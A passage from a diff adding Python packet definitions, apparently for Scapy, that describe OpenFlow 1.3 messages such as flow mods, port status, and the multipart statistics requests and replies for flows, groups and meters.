+                    ByteEnumField("reason", 0, { 0: "OFPRR_IDLE_TIMEOUT",
+                                                 1: "OFPRR_HARD_TIMEOUT",
+                                                 2: "OFPRR_DELETE",
+                                                 3: "OFPRR_GROUP_DELETE"}),
+                    ByteEnumField("table_id", 0, ofp_table),
+                    IntField("duration_sec", 0),
+                    IntField("duration_nsec", 0),
+                    ShortField("idle_timeout", 0),
+                    ShortField("hard_timeout", 0),
+                    LongField("packet_count", 0),
+                    LongField("byte_count", 0),
+                    MatchField("match") ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+class OFPTPortStatus(_ofp_header):
+    name = "OFPT_PORT_STATUS"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 12, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ByteEnumField("reason", 0, { 0: "OFPPR_ADD",
+                                                 1: "OFPPR_DELETE",
+                                                 2: "OFPPR_MODIFY"}),
+                    XBitField("pad", 0, 56),
+                    PacketField("desc", OFPPort(), OFPPort) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+class OFPTPacketOut(_ofp_header):
+    name = "OFPT_PACKET_OUT"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 13, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    IntEnumField("buffer_id", "NO_BUFFER", ofp_buffer),
+                    IntEnumField("in_port", "CONTROLLER", ofp_port_no),
+                    FieldLenField("actions_len", None, fmt="H", length_of="actions"),
+                    XBitField("pad", 0, 48),
+                    ActionPacketListField("actions", [], Packet,
+                                          length_from=lambda pkt:pkt.actions_len),
+                    PacketField("data", "", Ether) ]
+    overload_fields = {TCP: {"sport": 6653}}
+
+class OFPTFlowMod(_ofp_header):
+    name = "OFPT_FLOW_MOD"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 14, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    LongField("cookie", 0),
+                    LongField("cookie_mask", 0),
+                    ByteEnumField("table_id", 0, ofp_table),
+                    ByteEnumField("cmd", 0, { 0: "OFPFC_ADD",
+                                              1: "OFPFC_MODIFY",
+                                              2: "OFPFC_MODIFY_STRICT",
+                                              3: "OFPFC_DELETE",
+                                              4: "OFPFC_DELETE_STRICT" }),
+                    ShortField("idle_timeout", 0),
+                    ShortField("hard_timeout", 0),
+                    ShortField("priority", 0),
+                    IntEnumField("buffer_id", "NO_BUFFER", ofp_buffer),
+                    IntEnumField("out_port", "ANY", ofp_port_no),
+                    IntEnumField("out_group", "ANY", ofp_group),
+                    FlagsField("flags", 0, 16, [ "SEND_FLOW_REM",
+                                                 "CHECK_OVERLAP",
+                                                 "RESET_COUNTS",
+                                                 "NO_PKT_COUNTS",
+                                                 "NO_BYT_COUNTS" ]),
+                    XShortField("pad", 0),
+                    MatchField("match"),
+                    InstructionPacketListField("instructions", [], Packet,
+                                               length_from=lambda pkt:pkt.len-48-(pkt.match.length+(8-pkt.match.length%8)%8)) ]
+                                               # include match padding to match.length
+    overload_fields = {TCP: {"sport": 6653}}
+
+class OFPTGroupMod(_ofp_header):
+    name = "OFPT_GROUP_MOD"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 15, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("cmd", 0, { 0: "OFPGC_ADD",
+                                               1: "OFPGC_MODIFY",
+                                               2: "OFPGC_DELETE" }),
+                    ByteEnumField("group_type", 0, { 0: "OFPGT_ALL",
+                                                     1: "OFPGT_SELECT",
+                                                     2: "OFPGT_INDIRECT",
+                                                     3: "OFPGT_FF" }),
+                    XByteField("pad", 0),
+                    IntEnumField("group_id", 0, ofp_group),
+                    BucketPacketListField("buckets", [], Packet,
+                                          length_from=lambda pkt:pkt.len-16) ]
+    overload_fields = {TCP: {"sport": 6653}}
+
+class OFPTPortMod(_ofp_header):
+    name = "OFPT_PORT_MOD"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 16, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    IntEnumField("port_no", 0, ofp_port_no),
+                    XIntField("pad1", 0),
+                    MACField("hw_addr", "0"),
+                    XShortField("pad2", 0),
+                    FlagsField("config", 0, 32, ofp_port_config),
+                    FlagsField("mask", 0, 32, ofp_port_config),
+                    FlagsField("advertise", 0, 32, ofp_port_features),
+                    XIntField("pad3", 0) ]
+    overload_fields = {TCP: {"sport": 6653}}
+
+class OFPTTableMod(_ofp_header):
+    name = "OFPT_TABLE_MOD"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 17, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ByteEnumField("table_id", 0, ofp_table),
+                    X3BytesField("pad", 0),
+                    IntEnumField("config", 0, { 3: "OFPTC_DEPRECATED_MASK"}) ]
+    overload_fields = {TCP: {"sport": 6653}}
+
+#####################################################
+################## OFPT_MULTIPART ###################
+#####################################################
+
+ofp_multipart_types = {     0: "OFPMP_DESC",
+                            1: "OFPMP_FLOW",
+                            2: "OFPMP_AGGREGATE",
+                            3: "OFPMP_TABLE",
+                            4: "OFPMP_PORT_STATS",
+                            5: "OFPMP_QUEUE",
+                            6: "OFPMP_GROUP",
+                            7: "OFPMP_GROUP_DESC",
+                            8: "OFPMP_GROUP_FEATURES",
+                            9: "OFPMP_METER",
+                           10: "OFPMP_METER_CONFIG",
+                           11: "OFPMP_METER_FEATURES",
+                           12: "OFPMP_TABLE_FEATURES",
+                           13: "OFPMP_PORT_DESC",
+                        65535: "OFPST_VENDOR" }
+
+ofpmp_request_flags = [ "REQ_MORE" ]
+
+ofpmp_reply_flags = [ "REPLY_MORE" ]
+
+class OFPMPRequestDesc(_ofp_header):
+    name = "OFPMP_REQUEST_DESC"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 18, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("mp_type", 0, ofp_multipart_types),
+                    FlagsField("flags", 0, 16, ofpmp_request_flags),
+                    XIntField("pad", 0) ]
+    overload_fields = {TCP: {"sport": 6653}}
+
+class OFPMPReplyDesc(_ofp_header):
+    name = "OFPMP_REPLY_DESC"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 19, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("mp_type", 0, ofp_multipart_types),
+                    FlagsField("flags", 0, 16, ofpmp_reply_flags),
+                    XIntField("pad", 0),
+                    StrFixedLenField("mfr_desc", "", 256),
+                    StrFixedLenField("hw_desc", "", 256),
+                    StrFixedLenField("sw_desc", "", 256),
+                    StrFixedLenField("serial_num", "", 32),
+                    StrFixedLenField("dp_desc", "", 256) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+class OFPMPRequestFlow(_ofp_header):
+    name = "OFPMP_REQUEST_FLOW"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 18, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("mp_type", 1, ofp_multipart_types),
+                    FlagsField("flags", 0, 16, ofpmp_request_flags),
+                    XIntField("pad1", 0),
+                    ByteEnumField("table_id", "ALL", ofp_table),
+                    X3BytesField("pad2", 0),
+                    IntEnumField("out_port", "ANY", ofp_port_no),
+                    IntEnumField("out_group", "ANY", ofp_group),
+                    IntField("pad3", 0),
+                    LongField("cookie", 0),
+                    LongField("cookie_mask", 0),
+                    MatchField("match") ]
+    overload_fields = {TCP: {"sport": 6653}}
+
+class OFPFlowStats(Packet):
+    def post_build(self, p, pay):
+        if self.length is None:
+            l = len(p)+len(pay)
+            p = struct.pack("!H", l) + p[2:]
+        return p + pay
+    name = "OFP_FLOW_STATS"
+    fields_desc = [ ShortField("length", None),
+                    ByteEnumField("table_id", 0, ofp_table),
+                    XByteField("pad1", 0),
+                    IntField("duration_sec", 0),
+                    IntField("duration_nsec", 0),
+                    ShortField("priority", 0),
+                    ShortField("idle_timeout", 0),
+                    ShortField("hard_timeout", 0),
+                    FlagsField("flags", 0, 16, [ "SEND_FLOW_REM",
+                                                 "CHECK_OVERLAP",
+                                                 "RESET_COUNTS",
+                                                 "NO_PKT_COUNTS",
+                                                 "NO_BYT_COUNTS" ]),
+                    IntField("pad2", 0),
+                    LongField("cookie", 0),
+                    LongField("packet_count", 0),
+                    LongField("byte_count", 0),
+                    MatchField("match"),
+                    InstructionPacketListField("instructions", [], Packet,
+                                               length_from=lambda pkt:pkt.length-56-pkt.match.length) ]
+
+class FlowStatsPacketListField(PacketListField):
+
+    @staticmethod
+    def _get_flow_stats_length(s):
+        return struct.unpack("!H", s[:2])[0]
+
+    def getfield(self, pkt, s):
+        lst = []
+        remain = s
+
+        while remain:
+            l = FlowStatsPacketListField._get_flow_stats_length(remain)
+            current = remain[:l]
+            remain = remain[l:]
+            p = OFPFlowStats(current)
+            lst.append(p)
+
+        return remain, lst
+
+class OFPMPReplyFlow(_ofp_header):
+    name = "OFPMP_REPLY_FLOW"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 19, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("mp_type", 1, ofp_multipart_types),
+                    FlagsField("flags", 0, 16, ofpmp_reply_flags),
+                    XIntField("pad1", 0),
+                    FlowStatsPacketListField("flow_stats", [], Packet,
+                                             length_from=lambda pkt:pkt.len-16) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+class OFPMPRequestAggregate(_ofp_header):
+    name = "OFPMP_REQUEST_AGGREGATE"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 18, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("mp_type", 2, ofp_multipart_types),
+                    FlagsField("flags", 0, 16, ofpmp_request_flags),
+                    XIntField("pad1", 0),
+                    ByteEnumField("table_id", "ALL", ofp_table),
+                    X3BytesField("pad2", 0),
+                    IntEnumField("out_port", "ANY", ofp_port_no),
+                    IntEnumField("out_group", "ANY", ofp_group),
+                    IntField("pad3", 0),
+                    LongField("cookie", 0),
+                    LongField("cookie_mask", 0),
+                    MatchField("match") ]
+    overload_fields = {TCP: {"sport": 6653}}
+
+class OFPMPReplyAggregate(_ofp_header):
+    name = "OFPMP_REPLY_AGGREGATE"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 19, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("mp_type", 2, ofp_multipart_types),
+                    FlagsField("flags", 0, 16, ofpmp_reply_flags),
+                    XIntField("pad1", 0),
+                    LongField("packet_count", 0),
+                    LongField("byte_count", 0),
+                    IntField("flow_count", 0),
+                    XIntField("pad2", 0) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+class OFPMPRequestTable(_ofp_header):
+    name = "OFPMP_REQUEST_TABLE"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 18, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("mp_type", 3, ofp_multipart_types),
+                    FlagsField("flags", 0, 16, ofpmp_request_flags),
+                    XIntField("pad1", 0) ]
+    overload_fields = {TCP: {"sport": 6653}}
+
+class OFPTableStats(Packet):
+    def extract_padding(self, s):
+        return "", s
+    name = "OFP_TABLE_STATS"
+    fields_desc = [ ByteEnumField("table_id", 0, ofp_table),
+                    X3BytesField("pad1", 0),
+                    IntField("active_count", 0),
+                    LongField("lookup_count", 0),
+                    LongField("matched_count", 0) ]
+
+class OFPMPReplyTable(_ofp_header):
+    name = "OFPMP_REPLY_TABLE"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 19, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("mp_type", 3, ofp_multipart_types),
+                    FlagsField("flags", 0, 16, ofpmp_reply_flags),
+                    XIntField("pad1", 0),
+                    PacketListField("table_stats", None, OFPTableStats,
+                                    length_from=lambda pkt:pkt.len-16) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+class OFPMPRequestPortStats(_ofp_header):
+    name = "OFPMP_REQUEST_PORT_STATS"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 18, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("mp_type", 4, ofp_multipart_types),
+                    FlagsField("flags", 0, 16, ofpmp_request_flags),
+                    XIntField("pad1", 0),
+                    IntEnumField("port_no", "ANY", ofp_port_no),
+                    XIntField("pad", 0) ]
+    overload_fields = {TCP: {"sport": 6653}}
+
+class OFPPortStats(Packet):
+    def extract_padding(self, s):
+        return "", s
+    name = "OFP_PORT_STATS"
+    fields_desc = [ IntEnumField("port_no", 0, ofp_port_no),
+                    XIntField("pad", 0),
+                    LongField("rx_packets", 0),
+                    LongField("tx_packets", 0),
+                    LongField("rx_bytes", 0),
+                    LongField("tx_bytes", 0),
+                    LongField("rx_dropped", 0),
+                    LongField("tx_dropped", 0),
+                    LongField("rx_errors", 0),
+                    LongField("tx_errors", 0),
+                    LongField("rx_frame_err", 0),
+                    LongField("rx_over_err", 0),
+                    LongField("rx_crc_err", 0),
+                    LongField("collisions", 0),
+                    IntField("duration_sec", 0),
+                    IntField("duration_nsec", 0) ]
+
+class OFPMPReplyPortStats(_ofp_header):
+    name = "OFPMP_REPLY_PORT_STATS"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 19, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("mp_type", 4, ofp_multipart_types),
+                    FlagsField("flags", 0, 16, ofpmp_reply_flags),
+                    XIntField("pad1", 0),
+                    PacketListField("port_stats", None, OFPPortStats,
+                                    length_from=lambda pkt:pkt.len-16) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+class OFPMPRequestQueue(_ofp_header):
+    name = "OFPMP_REQUEST_QUEUE"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 18, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("mp_type", 5, ofp_multipart_types),
+                    FlagsField("flags", 0, 16, ofpmp_request_flags),
+                    XIntField("pad1", 0),
+                    IntEnumField("port_no", "ANY", ofp_port_no),
+                    IntEnumField("queue_id", "ALL", ofp_queue) ]
+    overload_fields = {TCP: {"sport": 6653}}
+
+class OFPQueueStats(Packet):
+    def extract_padding(self, s):
+        return "", s
+    name = "OFP_QUEUE_STATS"
+    fields_desc = [ IntEnumField("port_no", 0, ofp_port_no),
+                    IntEnumField("queue_id", 0, ofp_queue),
+                    LongField("tx_bytes", 0),
+                    LongField("tx_packets", 0),
+                    LongField("tx_errors", 0),
+                    IntField("duration_sec", 0),
+                    IntField("duration_nsec", 0) ]
+
+class OFPMPReplyQueue(_ofp_header):
+    name = "OFPMP_REPLY_QUEUE"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 19, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("mp_type", 5, ofp_multipart_types),
+                    FlagsField("flags", 0, 16, ofpmp_reply_flags),
+                    XIntField("pad1", 0),
+                    PacketListField("queue_stats", None, OFPQueueStats,
+                            length_from=lambda pkt:pkt.len-16) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+class OFPMPRequestGroup(_ofp_header):
+    name = "OFPMP_REQUEST_GROUP"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 18, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("mp_type", 6, ofp_multipart_types),
+                    FlagsField("flags", 0, 16, ofpmp_request_flags),
+                    XIntField("pad1", 0),
+                    IntEnumField("group_id", "ANY", ofp_group),
+                    XIntField("pad2", 0) ]
+    overload_fields = {TCP: {"sport": 6653}}
+
+class OFPBucketStats(Packet):
+    def extract_padding(self, s):
+        return "", s
+    name = "OFP_BUCKET_STATS"
+    fields_desc = [ LongField("packet_count", 0),
+                    LongField("byte_count", 0) ]
+
+class OFPGroupStats(Packet):
+    def post_build(self, p, pay):
+        if self.length is None:
+            l = len(p)+len(pay)
+            p = struct.pack("!H", l) + p[2:]
+        return p + pay
+    name = "OFP_GROUP_STATS"
+    fields_desc = [ ShortField("length", None),
+                    XShortField("pad1", 0),
+                    IntEnumField("group_id", 0, ofp_group),
+                    IntField("ref_count", 0),
+                    IntField("pad2", 0),
+                    LongField("packet_count", 0),
+                    LongField("byte_count", 0),
+                    IntField("duration_sec", 0),
+                    IntField("duration_nsec", 0),
+                    PacketListField("bucket_stats", None, OFPBucketStats,
+                                    length_from=lambda pkt:pkt.length-40) ]
+
+class GroupStatsPacketListField(PacketListField):
+
+    @staticmethod
+    def _get_group_stats_length(s):
+        return struct.unpack("!H", s[:2])[0]
+
+    def getfield(self, pkt, s):
+        lst = []
+        remain = s
+
+        while remain:
+            l = GroupStatsPacketListField._get_group_stats_length(remain)
+            current = remain[:l]
+            remain = remain[l:]
+            p = OFPGroupStats(current)
+            lst.append(p)
+
+        return remain, lst
+
+class OFPMPReplyGroup(_ofp_header):
+    name = "OFPMP_REPLY_GROUP"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 19, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("mp_type", 6, ofp_multipart_types),
+                    FlagsField("flags", 0, 16, ofpmp_reply_flags),
+                    XIntField("pad1", 0),
+                    GroupStatsPacketListField("group_stats", [], Packet,
+                                              length_from=lambda pkt:pkt.len-16) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+class OFPMPRequestGroupDesc(_ofp_header):
+    name = "OFPMP_REQUEST_GROUP_DESC"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 18, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("mp_type", 7, ofp_multipart_types),
+                    FlagsField("flags", 0, 16, ofpmp_request_flags),
+                    XIntField("pad1", 0) ]
+    overload_fields = {TCP: {"sport": 6653}}
+
+class OFPGroupDesc(Packet):
+    def post_build(self, p, pay):
+        if self.length is None:
+            l = len(p)+len(pay)
+            p = struct.pack("!H", l) + p[2:]
+        return p + pay
+    name = "OFP_GROUP_DESC"
+    fields_desc = [ ShortField("length", None),
+                    ByteEnumField("type", 0, { 0: "OFPGT_ALL",
+                                               1: "OFPGT_SELECT",
+                                               2: "OFPGT_INDIRECT",
+                                               3: "OFPGT_FF" }),
+                    XByteField("pad", 0),
+                    IntEnumField("group_id", 0, ofp_group),
+                    BucketPacketListField("buckets", None, Packet,
+                                          length_from=lambda pkt:pkt.length-8) ]
+
+class GroupDescPacketListField(PacketListField):
+
+    @staticmethod
+    def _get_group_desc_length(s):
+        return struct.unpack("!H", s[:2])[0]
+
+    def getfield(self, pkt, s):
+        lst = []
+        remain = s
+
+        while remain:
+            l = GroupDescPacketListField._get_group_desc_length(remain)
+            current = remain[:l]
+            remain = remain[l:]
+            p = OFPGroupDesc(current)
+            lst.append(p)
+
+        return remain, lst
+
+
+class OFPMPReplyGroupDesc(_ofp_header):
+    name = "OFPMP_REPLY_GROUP_DESC"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 19, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("mp_type", 7, ofp_multipart_types),
+                    FlagsField("flags", 0, 16, ofpmp_reply_flags),
+                    XIntField("pad1", 0),
+                    GroupDescPacketListField("group_descs", [], Packet,
+                                             length_from=lambda pkt:pkt.len-16) ]
+    overload_fields = {TCP: {"dport": 6653}}
+                    
+class OFPMPRequestGroupFeatures(_ofp_header):
+    name = "OFPMP_REQUEST_GROUP_FEATURES"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 18, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("mp_type", 8, ofp_multipart_types),
+                    FlagsField("flags", 0, 16, ofpmp_request_flags),
+                    XIntField("pad1", 0) ]
+    overload_fields = {TCP: {"sport": 6653}}
+
+ofp_action_types_flags = list(ofp_action_types.values())[:-1]  # no ofpat_experimenter flag
+class OFPMPReplyGroupFeatures(_ofp_header):
+    name = "OFPMP_REPLY_GROUP_FEATURES"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 19, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("mp_type", 8, ofp_multipart_types),
+                    FlagsField("flags", 0, 16, ofpmp_reply_flags),
+                    XIntField("pad1", 0),
+                    FlagsField("types", 0, 32, [ "ALL",
+                                                 "SELECT",
+                                                 "INDIRECT",
+                                                 "FF" ]),
+                    FlagsField("capabilities", 0, 32, [ "SELECT_WEIGHT",
+                                                        "SELECT_LIVENESS",
+                                                        "CHAINING",
+                                                        "CHAINING_CHECKS" ]),
+                    IntField("max_group_all", 0),
+                    IntField("max_group_select", 0),
+                    IntField("max_group_indirect", 0),
+                    IntField("max_group_ff", 0),
+                    # no ofpat_experimenter flag
+                    FlagsField("actions_all", 0, 32, ofp_action_types_flags),
+                    FlagsField("actions_select", 0, 32, ofp_action_types_flags),
+                    FlagsField("actions_indirect", 0, 32, ofp_action_types_flags),
+                    FlagsField("actions_ff", 0, 32, ofp_action_types_flags) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+class OFPMPRequestMeter(_ofp_header):
+    name = "OFPMP_REQUEST_METER"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 18, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("mp_type", 9, ofp_multipart_types),
+                    FlagsField("flags", 0, 16, ofpmp_request_flags),
+                    XIntField("pad1", 0),
+                    IntEnumField("meter_id", "ALL", ofp_meter),
+                    XIntField("pad2", 0) ]
+    overload_fields = {TCP: {"sport": 6653}}
+
+class OFPMeterBandStats(Packet):
+    def extract_padding(self, s):
+        return "", s
+    name = "OFP_METER_BAND_STATS"
+    fields_desc = [ LongField("packet_band_count", 0),
+                    LongField("byte_band_count", 0) ]
+
+class OFPMeterStats(Packet):
+    def post_build(self, p, pay):
+        if self.len is None:
+            l = len(p)+len(pay)
+            p = p[:4] + struct.pack("!H", l) + p[6:]
+        return p + pay
+    name = "OFP_GROUP_STATS"
+    fields_desc = [ IntEnumField("meter_id", 1, ofp_meter),
+                    ShortField("len", None),
+                    XBitField("pad", 0, 48),
+                    IntField("flow_count", 0),
+                    LongField("packet_in_count", 0),
+                    LongField("byte_in_count", 0),
+                    IntField("duration_sec", 0),
+                    IntField("duration_nsec", 0),
+                    PacketListField("band_stats", None, OFPMeterBandStats,
+                                    length_from=lambda pkt:pkt.len-40) ]
+
+class MeterStatsPacketListField(PacketListField):
+
+    @staticmethod
+    def _get_meter_stats_length(s):
+        return struct.unpack("!H", s[4:6])[0]
+
+    def getfield(self, pkt, s):
+        lst = []
+        l = 0
+        ret = b""
+        remain = s
+
+        while remain:
+            l = MeterStatsPacketListField._get_meter_stats_length(remain)
+            current = remain[:l]
+            remain = remain[l:]
+            p = OFPMeterStats(current)
+            lst.append(p)
+
+        return remain + ret, lst
+
+class OFPMPReplyMeter(_ofp_header):
+    name = "OFPMP_REPLY_METER"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 19, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("mp_type", 9, ofp_multipart_types),
+                    FlagsField("flags", 0, 16, ofpmp_reply_flags),
+                    XIntField("pad1", 0),
+                    MeterStatsPacketListField("meter_stats", [], Packet,
+                                              length_from=lambda pkt:pkt.len-16) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+class OFPMPRequestMeterConfig(_ofp_header):
+    name = "OFPMP_REQUEST_METER_CONFIG"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 18, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("mp_type", 10, ofp_multipart_types),
+                    FlagsField("flags", 0, 16, ofpmp_request_flags),
+                    XIntField("pad1", 0),
+                    IntEnumField("meter_id", "ALL", ofp_meter),
+                    XIntField("pad2", 0) ]
+    overload_fields = {TCP: {"sport": 6653}}
+
+class OFPMeterConfig(Packet):
+    def post_build(self, p, pay):
+        if self.length is None:
+            l = len(p)+len(pay)
+            p = struct.pack("!H", l) + p[2:]
+        return p + pay
+    name = "OFP_METER_CONFIG"
+    fields_desc = [ ShortField("length", None),
+                    FlagsField("flags", 0, 16, [ "KBPS",
+                                                 "PKTPS",
+                                                 "BURST",
+                                                 "STATS" ]),
+                    IntEnumField("meter_id", 1, ofp_meter),
+                    MeterBandPacketListField("bands", [], Packet,
+                                             length_from=lambda pkt:pkt.len-8) ]
+
+class MeterConfigPacketListField(PacketListField):
+
+    @staticmethod
+    def _get_meter_config_length(s):
+        return struct.unpack("!H", s[:2])[0]
+
+    def getfield(self, pkt, s):
+        lst = []
+        remain = s
+
+        while remain:
+            l = MeterConfigPacketListField._get_meter_config_length(remain)
+            current = remain[:l]
+            remain = remain[l:]
+            p = OFPMeterConfig(current)
+            lst.append(p)
+
+        return remain, lst
+
+class OFPMPReplyMeterConfig(_ofp_header):
+    name = "OFPMP_REPLY_METER_CONFIG"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 19, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("mp_type", 10, ofp_multipart_types),
+                    FlagsField("flags", 0, 16, ofpmp_reply_flags),
+                    XIntField("pad1", 0),
+                    MeterConfigPacketListField("meter_configs", [], Packet,
+                                               length_from=lambda pkt:pkt.len-16) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+class OFPMPRequestMeterFeatures(_ofp_header):
+    name = "OFPMP_REQUEST_METER_FEATURES"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 18, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("mp_type", 11, ofp_multipart_types),
+                    FlagsField("flags", 0, 16, ofpmp_request_flags),
+                    XIntField("pad1", 0) ]
+    overload_fields = {TCP: {"sport": 6653}}
+
+class OFPMPReplyMeterFeatures(_ofp_header):
+    name = "OFPMP_REPLY_METER_FEATURES"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 19, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("mp_type", 11, ofp_multipart_types),
+                    FlagsField("flags", 0, 16, ofpmp_reply_flags),
+                    XIntField("pad1", 0),
+                    IntField("max_meter", 0),
+                    FlagsField("band_types", 0, 32, [ "DROP",
+                                                      "DSCP_REMARK",
+                                                      "EXPERIMENTER" ]),
+                    FlagsField("capabilities", 0, 32, [ "KPBS",
+                                                        "PKTPS",
+                                                        "BURST",
+                                                        "STATS" ]),
+                    ByteField("max_bands", 0),
+                    ByteField("max_color", 0),
+                    XShortField("pad2", 0) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+####### table features for multipart messages #######
+
+class _ofp_table_features_prop_header(Packet):
+    name = "Dummy OpenFlow Table Features Properties Header"
+
+    def post_build(self, p, pay):
+        l = self.length
+        if l is None:
+            l = len(p)+len(pay)
+            p = p[:2] + struct.pack("!H", l) + p[4:]
+        # every message will be padded correctly
+        zero_bytes = (8 - l%8) % 8
+        p += b"\x00" * zero_bytes
+        return p + pay
+
+    def extract_padding(self, s):
+        l = self.length
+        zero_bytes = (8 - l%8) % 8
+        return "", s
+
+
+ofp_table_features_prop_types = {     0: "OFPTFPT_INSTRUCTIONS",
+                                      1: "OFPTFPT_INSTRUCTIONS_MISS",
+                                      2: "OFPTFPT_NEXT_TABLES",
+                                      3: "OFPTFPT_NEXT_TABLES_MISS",
+                                      4: "OFPTFPT_WRITE_ACTIONS",
+                                      5: "OFPTFPT_WRITE_ACTIONS_MISS",
+                                      6: "OFPTFPT_APPLY_ACTIONS",
+                                      7: "OFPTFPT_APPLY_ACTIONS_MISS",
+                                      8: "OFPTFPT_MATCH",
+                                     10: "OFPTFPT_WILDCARDS",
+                                     12: "OFPTFPT_WRITE_SETFIELD",
+                                     13: "OFPTFPT_WRITE_SETFIELD_MISS",
+                                     14: "OFPTFPT_APPLY_SETFIELD",
+                                     15: "OFPTFPT_APPLY_SETFIELD_MISS",
+                                  65534: "OFPTFPT_EXPERIMENTER",
+                                  65535: "OFPTFPT_EXPERIMENTER_MISS" }
+
+class OFPTFPTInstructions(_ofp_table_features_prop_header):
+    name = "OFPTFPT_INSTRUCTIONS"
+    fields_desc = [ ShortField("type", 0),
+                    ShortField("length", None),
+                    InstructionIDPacketListField("instruction_ids", [], Packet,
+                                                 length_from=lambda pkt:pkt.length-4) ]
+
+class OFPTFPTInstructionsMiss(_ofp_table_features_prop_header):
+    name = "OFPTFPT_INSTRUCTIONS_MISS"
+    fields_desc = [ ShortField("type", 1),
+                    ShortField("length", None),
+                    InstructionIDPacketListField("instruction_ids", [], Packet,
